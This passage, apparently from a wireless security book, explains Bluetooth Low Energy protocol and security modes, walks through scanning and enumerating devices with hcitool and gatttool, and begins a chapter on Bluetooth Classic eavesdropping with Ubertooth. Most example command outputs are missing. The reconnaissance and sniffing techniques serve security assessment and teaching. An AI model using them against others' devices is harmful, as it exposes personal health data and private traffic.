Bluetooth	technology	with	a	focus	on	Bluetooth	Low	Energy	devices.



	





CHAPTER	8
	



BLUETOOTH	LOW	ENERGY
SCANNING	AND	RECONNAISSANCE
	





Bluetooth	Low	Energy	arrived	shortly	after	the	Bluetooth	SIG	introduced	the	Bluetooth	4.0
specification	in	2010.	Unlike	previous-generation	Bluetooth	devices,	Bluetooth
Low	Energy	devices	are	substantially	more	energy	efficient	and,	as	a	result,	are

appropriate	for	a	number	of	vertical	markets	and	applications	previously	impractical	with
Bluetooth	Basic	Rate	(BR)	or	Enhanced	Data	Rate	(EDR)	devices	(“Bluetooth	Classic”).

In	earlier	Bluetooth	devices,	the	physical	layer	was	designed	with	the	priority	to
communicate	effectively	even	in	the	presence	of	significant	RF	interference;	Bluetooth
Low	Energy	devices	implement	a	much	simpler	wireless	communication	mechanism
while	still	achieving	some	RF	interference	robustness.	Streamlined	connection
establishment	practices,	fixed-frequency	advertising	channels,	and	a	less	complex	and
expensive	stack	implementation	have	all	contributed	significantly	to	the	success	of
Bluetooth	Low	Energy.

Although	use	conditions	will	always	play	a	significant	role	in	determining	a	battery’s
lifetime,	the	Bluetooth	SIG	claims	that	Bluetooth	Low	Energy	devices	can	operate	from
months	to	years	on	a	single	coin-cell	battery.	This	significant	factor	has	led	to	new	market
opportunities	for	Bluetooth	Low	Energy	in	sports	and	fitness	devices,	health	and	wellness
applications,	consumer	electronics,	and	wearable	computing	devices.	We	expect	the
success	of	Bluetooth	Low	Energy	will	continue	to	lead	to	adoptions	in	the	automotive,
healthcare,	and	smart	home	industries	in	the	near	future.

Among	Bluetooth	Low	Energy’s	early	successes	is	the	adoption	of	Bluetooth	Low
Energy	technology	for	Apple	iBeacon,	the	indoor	location	tracking	and	messaging
mechanism	embedded	in	millions	of	Apple	iOS	devices	worldwide.	This	partnership
between	Apple	and	the	Bluetooth	SIG	underscores	an	important	reality	influencing
Bluetooth	Low	Energy’s	success:	it	is	easy	to	integrate.	Although	technologies	such	as
ZigBee	and	IEEE	802.15.4	are	arguably	more	effective	from	a	power-conservation
perspective,	Bluetooth	support	is	already	a	mandatory	requirement	for	most	mobile	device
users.	Leveraging	a	revised	Bluetooth	chip	with	similar	antenna	and	software	properties	to
start	offering	Bluetooth	Low	Energy	application	support	is	straightforward	for	mobile
device	handset	manufacturers,	which	will	continue	to	increase	adoption	of	this	technology.

In	this	chapter,	we	look	at	the	fundamental	technical	details	behind	Bluetooth	Low
Energy	devices,	highlighting	the	differences	between	Bluetooth	Low	Energy	and
Bluetooth	Classic	devices.	We	examine	some	of	the	critical	application	uses	of	Bluetooth
Low	Energy	(including	Apple’s	iBeacon	implementation),	as	well	as	analyze	the	tools	and
techniques	needed	to	identify	and	evaluate	the	security	of	Bluetooth	Low	Energy	devices.

	

We	use	the	term	Bluetooth	Low	Energy	or	BLE	to	describe	Bluetooth	devices	based	on	the
Bluetooth	4.0	specification	that	use	a	simpler	physical-layer	structure	for	significantly
improved	battery	longevity.	Other	marketing	materials	may	also	refer	to	Bluetooth	Low
Energy	as	Bluetooth	Smart,	which	refers	to	the	compatibility	assurance	program	asserted
by	the	Bluetooth	SIG.



Bluetooth	Low	Energy	Technical	Overview
Bluetooth	Low	Energy	is	a	disruptive	change	in	the	otherwise	predictable	evolution	of
Bluetooth	technology.	Early	Bluetooth	1.2	devices	were	designed	to	transmit	at	a	rate	of	1
Mbps,	with	later	support	for	Bluetooth	2.0	EDR	devices	at	3	Mbps.	Bluetooth	3.0
technology	went	further	to	extend	Bluetooth	protocol	access	over	Wi-Fi	for	Bluetooth
High	Speed	(Bluetooth	HS)	access,	also	known	as	Bluetooth	Alternate	MAC/PHY	(AMP).
Bluetooth	4.0	introduces	Bluetooth	Low	Energy	support,	returning	to	a	data	rate	of	1
Mbps.

The	departure	from	continued	performance	increases	in	transmit	rate	capabilities	has
opened	up	new	opportunities	for	Bluetooth	Low	Energy	applications.	Instead	of	trying	to
transmit	at	a	faster	data	rate,	Bluetooth	Low	Energy	offers	developers	an	alternative,	but
still	significant,	benefit:	low	battery	utilization.

Bluetooth	Low	Energy	is	designed	to	give	developers	(and	consumers)	the	capability
to	transmit	light	data	throughput	access	with	the	benefit	of	operating	on	a	coin-cell-sized
battery	for	an	extended	period	of	time.	While	Bluetooth	Classic	devices	also	offer	power-
conservation	features,	Bluetooth	Low	Energy	is	designed	to	make	this	a	priority,	creating	a
powerful	opportunity	for	a	new	set	of	applications	and	devices	that	fit	into	this	niche	use
case.

As	a	result	of	this	shift	in	Bluetooth	technology	focus,	Bluetooth	Low	Energy	is
notably	different	than	previous	versions	of	the	Bluetooth	specification.	Bluetooth	Low
Energy	introduces	significant	changes	not	only	to	low-level	physical-layer	operating
characteristics,	but	also	in	upper-layer	discovery	and	data	exchange	behavior.	We	examine
these	properties	in	this	section	to	give	you	a	foundational	understanding	of	how	Bluetooth
Low	Energy	works	prior	to	looking	at	techniques	for	scanning	and	high-level	protocol
operation.

Physical	Layer	Behavior
Bluetooth	Low	Energy	continues	to	use	the	2.4-GHz	spectrum	with	Gaussian	frequency
shift	keying	(GFSK)	modulation,	similar	to	Basic	Rate	Bluetooth	Classic	devices.	Also,
like	Bluetooth	Classic	devices,	Bluetooth	Low	Energy	uses	Frequency	Hopping	Spread
Spectrum	(FHSS)	for	interference	avoidance.	Unlike	Bluetooth	Classic,	however,
Bluetooth	Low	Energy	frequency	hopping	is	much	simpler,	with	devices	occupying	each
channel	in	the	frequency-hopping	pattern	for	a	longer	time	(a	longer	dwell	time).	The
FHSS	pattern	used	by	Bluetooth	Low	Energy	is	also	simpler	from	an	implementation
perspective,	limiting	channel	hopping	to	37	data	channels	and	3	advertising	channels.	We
examine	the	details	of	Bluetooth	Low	Energy	frequency-hopping	behavior	in	more	detail
in	the	next	chapter.

To	maximize	power	conservation,	the	transmit	power	of	Bluetooth	Low	Energy
devices	is	limited	to	10	mW.	This	limited	transmit	power	allows	the	device	to	achieve	a
reasonable	transmit	distance	(10	meters	or	approximately	33	feet)	while	maintaining	a	low
overall	power	budget.



Operating	Modes	and	Connection	Establishment
Bluetooth	Low	Energy	devices	are	configured	to	operate	in	one	of	five	distinct	operation
states:

•		Standby	State	In	Standby	State,	a	device	does	not	receive	or	transmit
packets.	Standby	State	offers	the	most	power-conversation	opportunities	for
devices,	allowing	the	device	to	power	down	transmit	and	receive	interfaces.

•		Advertising	State	A	device	in	Advertising	State	will	regularly	transmit
beacon	advertisements	on	its	configured	advertising	channel	at	a	configured	rate
according	to	the	Beacon_Max_Interval	value	(commonly	one	to	two	seconds).
Devices	in	the	Advertising	State	are	referred	to	as	advertisers.

•		Scanning	State	When	in	Scanning	State,	a	Bluetooth	Low	Energy	device
listens	on	advertising	channels	for	the	presence	of	devices	in	Advertising	State.
Devices	in	the	Scanning	State	are	referred	to	as	scanners.

•		Initiating	State	A	device	in	Initiating	State	listens	for	advertisements	from
specific	devices	and	responds	to	initiate	a	connection	with	a	target	device.	Devices
in	the	Initiating	State	are	referred	to	as	initiators.

•		Connection	State	A	device	can	transition	from	the	Initiating	State	or	the
Advertising	State	into	the	Connection	State	in	one	of	two	roles:	master	or	slave
device.

•		Master	mode	A	master	mode	device	initiates	a	connection	to	a	specific
target	device	(also	known	as	initiator	mode).

•		Slave	mode	A	slave	mode	device	accepts	a	connection	request	from	a
master	device	and	applies	the	necessary	authentication	steps	to	complete	the
connection	process.

This	defined	structure	for	the	operating	modes	of	devices	lends	itself	to	flexible
product	designs	that	reduce	complexity.	For	example,	a	device	that	only	scans	for	the
presence	of	Bluetooth	Low	Energy	devices	in	the	Advertising	State	does	not	need	to
include	transmit	capabilities,	reducing	the	overall	cost	of	the	device	with	maximum
battery	conservation.

To	create	a	connection	between	two	Bluetooth	Low	Energy	devices,	a	Scanning	State
device	watches	for	beacon	advertisements	on	the	advertising	channels	to	identify	the
intended	connection	target.	When	the	receiving	device	is	selected,	the	Scanning	State
device	transmits	a	connection	request.	At	this	point,	the	device	has	taken	on	the	role	of	the
master	mode	device	that	initiates	the	connection.	The	responding	device	(now	taking	the
role	of	the	slave	mode	device)	negotiates	the	connection	parameters	and	establishes	a
connection	with	the	master.

Frame	Configuration
Bluetooth	Low	Energy	uses	a	limited	payload	size	as	part	of	its	overall	power
conservation	strategy,	between	2	and	39	bytes	in	length.	The	basic	Bluetooth	Low	Energy



frame	consists	of	preamble,	access	code	(sometimes	referred	to	as	the	access	address),
payload,	and	cyclical	redundancy	check	(CRC),	as	shown	here.

The	payload	of	a	Bluetooth	Low	Energy	packet	changes	depending	on	the	access
address	value	and	the	state	of	the	receiving	device.	For	example,	a	data	packet	follows	the
conventions	defined	as	part	of	the	Logical	Link	Control	and	Adaptation	Protocol	(L2CAP)
with	a	16-bit	header,	followed	by	variable-length	payload	data	and	an	optional	Message
Integrity	Check	(MIC).	The	fields	in	the	data	header	are	as	follows:

•		LLID	The	Logical	Link	Identifier	further	indicates	the	purpose	of	the
payload	data,	one	of	0x01	(frame	continuation	or	an	empty	L2CAP	packet),	0x02
(start	of	an	L2CAP	packet),	or	0x03	(Logical	Link	Control	packet	content).

•		NESN	The	Next	Expected	Sequence	Number	is	used	for	received	packet
acknowledgement.

•		SN	The	Sequence	Number	is	used	for	transmitted	packet	receipt	validation
through	acknowledgement	with	the	NESN.

•		MD	More	Data	indicates	whether	the	transmitter	has	more	data	to	send	to	the
recipient.

•		Reserved	Unused	bits	are	expected	to	be	zero	(“0”)	and	are	to	be	ignored	by
the	recipient.	Reserved	bits	also	follow	the	length	field.

•		Length	The	length	field	identifies	the	length	of	the	payload	and	MIC	data	(if
used),	in	bytes.

This	frame	format	is	shown	here	with	additional	detail.



Similarly,	the	payload	of	an	advertising	packet	uses	a	16-bit	advertising	header
followed	by	an	advertising	payload,	as	described	here:

•		Type	Type	of	payload	content,	identifying	the	packet	as	an	advertising	packet
(directed	or	broadcast	advertisements,	nonconnectable	advertisement,	or
advertisement	solicitation	scan),	a	scan	request	or	response,	or	a	connection
request.	Most	of	the	possible	values	in	the	type	field	are	reserved	for	future	use.

•		TX	address	This	1-bit	field	indicates	if	the	transmitter	is	using	a	generated
MAC	address	for	privacy	(“1”)	or	the	MAC	address	allocated	to	the	radio
interface	(“0”).

•		RX	address	This	1-bit	field	has	the	same	meaning	as	the	TX	address	field,
applied	to	the	receiver	address.

•		Payload	length	The	6-bit	payload	length	field	indicates	the	length	of	the
payload	data	(not	inclusive	of	the	header	content).	Valid	values	are	between	0	and
37	bytes,	although	the	field	could	be	manipulated	to	indicate	a	value	as	large	as	63
bytes	(26–1).

•		Reserved	Unused	bits	in	the	advertising	channel	header	are	reserved	and
expected	to	be	zero	(“0”).	Reserved	bits	appear	after	the	type	field	and	at	the	end
of	the	header.

This	frame	format	is	shown	here	with	additional	detail.



The	Bluetooth	specification	describes	the	format	of	L2CAP	payload	data	for	each	of
the	defined	frame	types.	Like	previous	versions	of	the	Bluetooth	specification,	the	L2CAP
layer	handles	data	encoding	for	upper-layer	protocols.	Unlike	previous	versions,	in
Bluetooth	Low	Energy,	L2CAP	does	not	accommodate	retransmission,	fragmentation,	and
reassembly,	in	order	to	accommodate	a	simpler	protocol	stack.	The	L2CAP	specification	is
further	extended	in	Bluetooth	4.1	devices	with	support	for	connection-oriented	channels
with	flow	control.

Bluetooth	Profiles
Like	previous	versions	of	the	Bluetooth	specification,	the	profile	services	offered	by
devices	are	well	structured	to	simplify	the	implementation	of	the	Bluetooth	stack.	The
L2CAP	protocol	serves	as	the	low-level	foundation	between	the	link-layer	specification
and	the	upper-layer	protocols:

•		Attribute	Protocol	(ATT)	Used	to	communicate	small	amounts	of	data	over
a	connected	L2CAP	channel,	including	the	exchange	of	device	capability
information.

•		Generic	Attribute	Protocol	(GATT)	Implemented	on	top	of	the	ATT,	GATT
provides	a	service	for	discovering,	reading,	and	writing	the	attributes	of	an
attribute	server	and	an	attribute	client	device.

•		Security	Manager	Protocol	(SMP)	Used	to	exchange	security-related	data
between	devices	over	a	connected	L2CAP	channel.

•		Generic	Access	Profile	(GAP)	Represents	the	fundamental	functionality	of
Bluetooth	Low	Energy	devices,	including	the	capability	to	perform	device
discovery,	initiate	and	complete	connections,	and	perform	service	discovery.

The	Bluetooth	Low	Energy	protocol	functionality	uses	basic	packet	structure



definitions	to	accommodate	multiple	vendors’	use	of	Bluetooth	technology.	For	example,	a
vendor	that	implements	a	Bluetooth	Low	Energy	patient	temperature	monitoring	system
can	define	a	set	of	data	characteristics	using	GATT	that	is	transmitted	to	receiving	devices,
uniquely	identifying	the	data	of	one	vendor’s	attributes	from	another.	This	function	is	also
applied	in	Bluetooth	advertisement	products	such	as	Apple	iBeacon,	where	Apple	uses
attributes	specific	to	iBeacon	to	define	the	protocol,	while	making	it	possible	for	other
vendors	to	create	their	own	competitive	or	cooperative	protocols.

Bluetooth	Low	Energy	Security	Controls
As	attributes	of	the	Generic	Access	Profile	(GAP),	Bluetooth	Low	Energy	offers	new
features	for	protecting	the	confidentiality	and	integrity	of	data	over	the	air	interface	(the
physical	layer)	or	at	the	upper-layer	ATT	protocol.	Product	designers	can	choose	to
implement	the	security	features	that	best	suit	their	product	needs—from	no	encryption	or
authentication,	to	authentication	but	no	encryption,	to	full	encryption	and	authentication.
In	addition,	Bluetooth	Low	Energy	implements	a	privacy	enhancement	that	mitigates	the
ability	to	track	the	location	of	users	through	BD_ADDR	disclosure.

Encryption	and	Message	Authenticity
Bluetooth	Low	Energy	uses	the	AES	Cipher	Block	Chaining-Message	Authentication
Code	(AES-CCM)	protocol	with	a	128-bit	key	for	encryption	and	integrity	protection.	This
encryption	support	is	similar	to	what’s	used	in	the	IEEE	802.11	specification,	referred	to
as	WPA2	AES-CCMP.

The	decision	to	use	encryption	and/or	authentication	is	defined	by	the	developer	and
the	Bluetooth	Low	Energy	security	mode	selected.

Security	Mode	1	Bluetooth	Low	Energy	Security	Mode	1	operates	at	the	air-interface
layer,	offering	one	of	three	security	levels:

•		Security	Mode	1,	Level	1	No	encryption,	no	authentication.

•		Security	Mode	1,	Level	2	Unauthenticated	pairing	to	derive	a	key;	after	the
key	is	derived,	devices	encrypt	data.

•		Security	Mode	1,	Level	3	Authenticated	pairing	to	derive	a	key,	followed	by
encryption	of	data.

Security	Mode	1	may	use	encryption	depending	on	the	implementation	level	chosen	by	the
product	designer,	but	it	does	not	use	a	message	authenticity	check,	making	it	susceptible	to
malformed	data	man-in-the-middle	(MitM)	attacks	and	replay	attacks.

Security	Mode	2	Security	Mode	2	operates	at	the	ATT	layer,	providing	upper-layer
support	for	data	signing	with	integrity	protection	in	one	of	two	security	levels:

•		Security	Mode	2,	Level	1	Unauthenticated	pairing	to	derive	a	key;	after	the
key	is	derived,	packet	payload	data	is	encrypted	and	validated	using	a	message
authentication	code	(MAC).

•		Security	Mode	2,	Level	2	Similar	to	Security	Mode	2,	Level	1,	except	the



devices	must	perform	authenticated	pairing.

In	either	level	of	the	Security	Mode	2	operation,	a	MAC	is	used	to	authenticate	the
integrity	of	the	data	at	the	receiver.	The	use	of	the	MAC	mitigates	MitM	tampering
attacks,	but	does	not	mitigate	replay	attacks.	Fortunately,	the	Bluetooth	specification	also
requires	the	use	of	a	replay	counter	that	is	checked	as	part	of	the	MAC	calculation	in
Security	Mode	2	frames,	as	shown	here.

The	signature	counter	field	starts	at	zero	and	is	incremented	for	each	transmitted
packet.	The	receiving	device	validates	the	signature	of	the	packet	by	calculating	the	MAC
with	the	observed	payload	content	and	compares	the	calculated	MAC	to	the	observed
MAC.	When	the	values	match,	the	recipient	checks	the	value	of	the	signature	counter	to
ensure	the	packet	has	not	already	been	seen	(mitigating	a	replay	attack).	If	the	signature
counter	is	greater	than	the	last	observed	signature	counter,	then	the	packet	is	processed
and	the	receiver	records	the	observed	signature	counter	for	subsequent	packet	validation.

Privacy	Feature
The	Bluetooth	Low	Energy	specification	introduces	the	Privacy	Feature—aimed	at
making	it	more	difficult	for	an	attacker	to	track	a	device	over	a	period	of	time.	Instead	of
using	the	same	BD_ADDR	for	all	connections,	devices	use	a	generated	address	in	place	of
the	allocated	static	address	for	a	defined	period	of	time.	The	Privacy	Feature	supports	two
types	of	generated	addresses:

•		Resolvable	privacy	address	Devices	can	choose	to	generate	a	private
address	that	can	be	correlated	back	to	the	static	address	by	a	device	that	shares	an
encryption	key.	The	resolvable	private	address	allows	a	client	device	to	generate	a
new	private	address	for	each	connection,	while	maintaining	its	identity	with	the
peer	based	on	the	static	address.

•		Non-resolvable	privacy	address	The	non-resolvable	privacy	address	is	used
in	situations	in	which	a	connection	established	by	the	device	does	not	want	to
disclose	the	static	address	to	the	connection	recipient.	The	non-resolvable	privacy
address	cannot	be	correlated	back	to	the	static	address.

Scanning	and	Reconnaissance
With	a	Bluetooth	Low	Energy–capable	device,	you	can	scan	for	and	enumerate	Bluetooth
Low	Energy	targets.	Many	of	the	tools	capable	of	discovering	and	enumerating	Bluetooth
Low	Energy	devices	are	still	unstable	and	unreliable,	though	these	tools	will	likely
become	progressively	more	stable	and	feature	rich	as	Bluetooth	Low	Energy	adoption
increases.



Android	Device	Discovery

BlueScan	for	Android	devices	leverages	Bluetooth	Low	Energy–capable	interfaces	to
scan	for	and	identify	basic	information	about	devices.	Select	the	Low	Energy	Scan	option
and	tap	Start	Scan	to	start	scanning,	recording	the	results	to	a	local	database	file,	as	shown
in	Figure	8-1.



Figure	8-1	BlueScan	Low	Energy	scan	results

BlueScan	records	the	device	vendor	(using	the	MAC	address	OUI	information),	the
device	type	(Dual-Mode	or	Low	Energy	[LE]	device	only),	device-friendly	name,	and	the



received	signal	strength	information.	Tapping	on	a	discovered	device	provides	detailed
information,	including	the	device	address	and	the	historical	scan	results,	such	as	the
observed	RSSI	information	and	GPS	coordinates,	as	shown	in	Figure	8-2.



Figure	8-2	BlueScan	device	detail	view

Tapping	the	Database	button	(Figure	8-1)	changes	the	BlueScan	view	to	examine
historical	data	instead	of	live	data.	In	this	view,	the	Download	Data	button	becomes
available,	allowing	you	to	retrieve	the	contents	of	the	database,	uploading	the	content	to
other	application	services	(such	as	email	clients,	Dropbox,	Google	Drive,	and	other
sharing	actions).

Apple	iOS	Device	Discovery

Unlike	Wi-Fi	scanning,	Apple	permits	third-party	app	developers	to	use	Bluetooth
APIs	to	create	device-scanning	applications.	The	iOS	app	BLE	Scanner	scans	for
discoverable	Bluetooth	Low	Energy	devices,	reporting	the	device	name,	RSSI,	and
universally	unique	identifier	(UUID)	information	retrieved	from	the	GATT	service,	as
shown	here.





BLE	Scanner	provides	basic	information	about	discovered	nodes,	but	does	not	reveal
additional	information	about	the	services	offered	by	the	target	device.	An	alternative	iOS
app	choice	is	LightBlue,	which	discovers	devices	through	BLE	advertisements,	reports
signal	strength	information,	and	enumerates	device	attributes,	as	shown	next.





While	both	these	tools	are	useful	for	discovering	and	enumerating	BLE	devices,	they
are	limited	in	their	capabilities.	To	retrieve	detailed	information	about	discovered	devices,
however,	we	can	leverage	the	Linux	utilities	included	with	the	BlueZ	package.

Linux	Device	Discovery	and	Enumeration

As	you	saw	in	Chapter	7,	you	can	use	the	BlueZ	hcitool	utility	to	discover	the	presence
of	discoverable	Bluetooth	devices.	Instead	of	scanning	for	BR/EDR	devices	with	the	scan
parameter,	you	can	use	a	Bluetooth	Low	Energy–capable	dongle	to	scan	for	low-energy
devices	with	the	lescan	parameter.	At	the	time	of	this	writing,	the	hcitool	command
frequently	returns	an	error	when	setting	the	scanning	parameters.	Run	the	command	again
(sometimes	several	times),	as	shown	in	the	example,	to	scan	for	low-energy	devices:

Unlike	hcitool	scan,	the	lescan	parameter	causes	hcitool	to	scan	for	and	identify
devices	indefinitely,	displaying	the	returned	results	for	each	discovered	device	several
times.	By	redirecting	the	output	of	the	tool	to	a	file	and	interrupting	the	scanning	process
after	a	short	scanning	time	(a	minute	or	so),	you	can	sort	the	results	to	retrieve	a	unique



list	of	entries,	as	shown	here:

This	output	shows	some	repetition	of	discovered	devices	(including	the	presence	of	the
address	90:59:AF:28:17:A2	twice:	once	with	the	device	name	Activity	Monitor	and
again	with	the	indicator	for	an	unknown	device	name).	With	this	information,	you	can
start	to	enumerate	information	about	discovered	devices.

In	the	output	from	hcitool’s	lescan	data,	the	device	at	90:59:AF:28:17:A2	is	an
iHealth	Activity	Monitor,	shown	in	Figure	8-3,	designed	to	track	steps	taken,	calories
burned,	distance	traveled,	and	sleep	patterns.	This	device	continues	to	advertise	its
address,	even	after	pairing	with	a	target	device,	making	it	an	easy	target	to	identify	and
scan.

Figure	8-3	iHealth	Activity	Monitor

Recent	versions	of	the	BlueZ	stack	for	Linux	include	the	gatttool	utility,	which	allows
you	to	enumerate	the	services	and	characteristics	of	a	Bluetooth	Low	Energy	device.	The
gatttool	utility	can	be	used	in	command-line	or	interactive	mode	to	query	the	primary
services	of	a	target	device,	as	shown	here:



	

If	the	target	device	uses	a	randomly	selected	address	for	privacy	purposes,	then	you	need
to	add	the	-t	random	argument	to	the	gatttool	command	line.

The	output	from	the	command	line	and	interactive	versions	of	gatttool	is	identical,
disclosing	four	primary	services	on	the	target	device.	The	service	information	is	disclosed
in	the	form	of	a	UUID	consistent	with	standard	16-bit	GATT	service	numbers	defined	by
the	Bluetooth	SIG,	as	shown	next.	These	service	numbers	are	defined	on	the	Bluetooth
SIG	Developer	Portal	site	at
https://developer.bluetooth.org/gatt/services/Pages/ServicesHome.aspx.	The	four	primary
services	disclosed	by	the	iHealth	Activity	Monitor	are	described	in	Table	8-1.

https://developer.bluetooth.org/gatt/services/Pages/ServicesHome.aspx


Table	8-1	Device	Primary	Service	Information

In	addition	to	the	primary	service	information,	you	can	identify	the	service
characteristics	of	the	target	device.	Instead	of	using	the	--primary	argument	with	gatttool,
specify	--characteristics,	as	shown	here:



The	UUID	information	returned	from	the	characteristics	scan	is	in	the	same	format	as
the	primary	service	information,	disclosing	a	16-bit	value	as	the	service	identifier.	The
characteristic	service-assigned	numbers	and	descriptions	are	shown	in	Table	8-2	(the
UUIDs	have	been	removed	for	space).



Table	8-2	Characteristic	Service	Information

	

A	list	of	service	descriptions	and	assigned	numbers	is	included	in	the	Linux	BlueZ	source
at	http://git.kernel.org/cgit/bluetooth/bluez.git/tree/monitor/uuid.c.

With	the	primary	service	information,	you	can	continue	to	evaluate	the	target	device.
You	can	retrieve	the	information	associated	with	each	of	the	identified	UUIDs	using	the	--
char-read	argument,	as	shown	here:

In	this	example,	we	retrieve	information	from	the	0x2a00	(Device	Name)	UUID,	which
returns	a	list	of	hex	bytes.	These	hex	bytes	represent	the	ASCII	characters	in	the	device
name,	which	can	be	decoded	with	Python	as	shown.	When	evaluating	the	target	device,
we	should	test	all	the	returned	UUIDs	to	identify	potential	information	disclosure	threats.
For	the	iHealth	device,	some	UUIDs	return	basic	information,	whereas	others	indicate	an
error	(likely	requiring	authenticated	status	with	the	target	device	to	retrieve	the	sensitive

http://git.kernel.org/cgit/bluetooth/bluez.git/tree/monitor/uuid.c


information)	as	shown	here:

One	interesting	attribute	about	the	iHealth	Activity	Monitor	is	that	the	device	uses	a
reserved	UUID	(0x2a30)	in	the	characteristic	list.	The	data	returned	from	this	UUID	is	the
ASCII	string	"com.jiuan.AMV10".	The	domain	jiuan.com	is	registered	to	the	Andon
organization,	an	OEM	for	the	development	of	devices	for	sharing	health	information,	the
company	that	likely	developed	the	iHealth	Activity	Monitor.

	Scanning	and	Reconnaissance	Countermeasures
Scanning	and	enumerating	BLE	device	information	is	the	precursor	to	many	attacks	that
aim	to	exploit	deficiencies	in	the	BLE	protocol	or	a	specific	implementation.
Organizations	should	try	to	limit	the	exposure	from	scanning	and	reconnaissance
information	gathering	tools.

Unfortunately,	the	available	options	for	limiting	this	exposure	are	few.	Configuring
BLE	devices	in	non-discoverable	mode	will	help	to	limit	exposure,	but	can	be	overcome
with	more	sophisticated	attack	techniques,	including	BLE	eavesdropping	attacks	(as
shown	in	Chapter	9).	Where	possible,	organizations	should	configure	BLE	devices	to	limit
accessible	services,	and	apply	the	steps	described	in	this	chapter	to	enumerate	and	extract
data	from	sensitive	devices	to	identify	their	disclosure	prior	to	putting	devices	into
production	use.

Summary
Bluetooth	Low	Energy	is	a	significant	change	in	the	evolution	of	Bluetooth	technology,
radically	changing	the	physical-layer,	security,	and	application-layer	components	of	the

http://jiuan.com


protocol.	Through	these	changes,	Bluetooth	Low	Energy	has	become	an	exciting	wireless
technology	for	a	new	series	of	applications	and	technology,	including	healthcare	devices,
sport	devices,	and	fitness	equipment.

Multiple	tools	are	available	for	discovering	Bluetooth	Low	Energy	devices,	with
support	on	Android,	iOS,	and	Linux	systems.	Although	the	iOS	and	Android	tools	are
convenient	to	use,	they	are	limited	in	the	amount	of	data	that	you	can	retrieve	from
identified	targets.

Using	the	Linux	BlueZ	tools,	including	hcitool	and	gatttool,	you	can	enumerate
Bluetooth	Low	Energy	devices	to	identify	available	services,	extracting	data	from	these
devices	as	part	of	your	reconnaissance	and	scanning	analysis.	In	the	next	chapter,	we’ll
also	look	at	attacks	that	allow	us	to	eavesdrop	on	Bluetooth	BR/EDR	and	Low	Energy
devices,	followed	by	several	attack	techniques	we	can	apply	against	these	devices	in
Chapter	10.



	





CHAPTER	9
	



BLUETOOTH	EAVESDROPPING
	





The	ability	to	collect	traffic	passively	from	an	active	data	exchange	over	the	air	is	one	of	the
greatest	risk	factors	in	wireless	networking,	Bluetooth	being	no	exception.	Whether
you	are	evaluating	the	exposure	of	Bluetooth	devices	in	your	organization	or

attacking	a	Bluetooth	network	to	manipulate	devices,	eavesdropping	will	be	a	necessary
component	of	your	analysis.

In	this	chapter,	we	look	at	some	of	the	background	information	necessary	to
understand	Bluetooth	eavesdropping	opportunities	while	presenting	several	tools	that	you
can	use	for	this	attack.	First,	we	look	at	Bluetooth	Basic	Rate	(BR)	and	Bluetooth
Enhanced	Data	Rate	(EDR)—dubbed	Bluetooth	Classic—eavesdropping	attacks,	followed
by	Bluetooth	Low	Energy	eavesdropping.	We	cover	both	open	source	and	commercial
tools.	Some	products	overlap	between	BR/EDR	and	Low	Energy	sniffing,	which	we’ll
point	out	as	we	go.

Bluetooth	Classic	Eavesdropping
Bluetooth	Classic	networks	are	very	popular	for	a	variety	of	applications,	from	Bluetooth
keyboards	and	mice	to	wireless	PIN	Entry	Device	(PED)	systems	used	for	credit	card
validation.	Unlike	Wi-Fi	and	other	wireless	standards	with	similar	physical	layer
characteristics,	however,	capturing	the	Bluetooth	traffic	from	these	piconets	can	be	quite
difficult	for	several	reasons.

First,	Bluetooth	Classic	piconets	are	based	on	Frequency	Hopping	Spread	Spectrum
(FHSS),	where	the	transmitter	and	the	receiver	share	knowledge	of	a	pattern	of
frequencies	used	for	exchanging	data.	For	every	piconet,	the	frequency	pattern	is	unique,
based	on	the	BD_ADDR	of	the	Bluetooth	master	device.	Frequency	hopping	at	a	rate	of
1600	hops	per	second	(under	normal	conditions),	the	Bluetooth	devices	transmit	and
receive	data	for	a	short	period	of	time	(known	as	a	slot)	before	changing	to	the	next
frequency.	Under	most	circumstances,	knowing	the	BD_ADDR	of	the	piconet	master	is
necessary	to	follow	along	with	the	other	devices.

Second,	just	knowing	the	BD_ADDR	isn’t	enough	to	frequency	hop	with	the	other
devices	in	the	piconet.	In	addition	to	knowing	the	frequency-hopping	pattern,	the	sniffer
must	also	know	where	in	the	frequency-hopping	pattern	the	devices	are	at	any	given	time.
The	Bluetooth	Classic	specification	uses	another	piece	of	information,	known	as	the
master	clock	or	CLK,	to	keep	track	of	timing	for	the	device’s	location	within	the	channel
set.	Controlled	by	the	master	of	the	piconet,	this	value	has	no	relationship	to	the	time	of
day;	rather,	it	is	a	28-bit	value	incremented	by	1	every	312.5	microseconds.

Finally,	Bluetooth	Classic	interfaces	are	simply	not	designed	for	the	task	of	passive
sniffing.	Unlike	Wi-Fi	monitor	mode	access,	Bluetooth	Classic	interfaces	do	not	include
the	native	ability	to	sniff	and	report	network	activity	at	the	baseband	layer.	You	can	sniff
local	traffic	at	the	HCI	layer	using	Linux	tools	such	as	hcidump,	but	this	type	of	sniffing
does	not	reveal	lower-layer	information	or	activity;	it	requires	an	active	connection	to	the
piconet,	and	it	shows	only	activity	to	and	from	the	local	system	(think	of	this	as	a
nonpromiscuous	sniffer	that	only	displays	session-layer	information).



Despite	these	issues,	Bluetooth	Classic	sniffing	is	such	a	valuable	mechanism	(from	a
security	perspective	and	a	development	and	engineering	perspective)	that	a	handful	of
open	source	and	commercial	projects	have	been	designed	to	overcome	these	challenges.

Open	Source	Bluetooth	Classic	Sniffing
As	you	saw	in	Chapter	7,	Ubertooth	is	an	open	source	hardware	and	software	project
designed	to	take	advantage	of	the	Ubertooth	One	hardware.	As	a	low-cost	hardware
device,	the	Ubertooth	is	much	more	widely	accessible	to	researchers	and	attackers	alike,
making	it	possible	to	capture	and	evaluate	low-level	wireless	activity,	including	Bluetooth
Classic	packets.

Ubertooth	Bluetooth	Classic	Sniffer

Ubertooth’s	host	software	offers	the	capability	to	capture	Bluetooth	Classic	traffic,
hopping	along	with	the	piconet	identified	by	the	LAP	and	UAP.	First,	we	need	to	identify
the	LAP	and	UAP	of	the	master	of	the	piconet	we	want	to	eavesdrop	on	using	ubertooth-
scan	(which	requires	an	Ubertooth	and	a	standard	Bluetooth	dongle)	or	ubertooth-rx
(which	only	requires	the	Ubertooth,	but	can	also	be	subject	to	false-positives	when
determining	the	UAP).



In	this	example,	you	can	see	that	Ubertooth	has	discovered	two	devices	in	the	piconet,
revealing	the	UAP	and	LAP	for	both.	After	discovering	the	partial	BD_ADDR
information,	ubertooth-scan	attempts	to	identify	the	friendly	name	of	both	devices,
revealing	the	likely	role	of	each	device	(keyboard	and	mouse)	in	the	process.

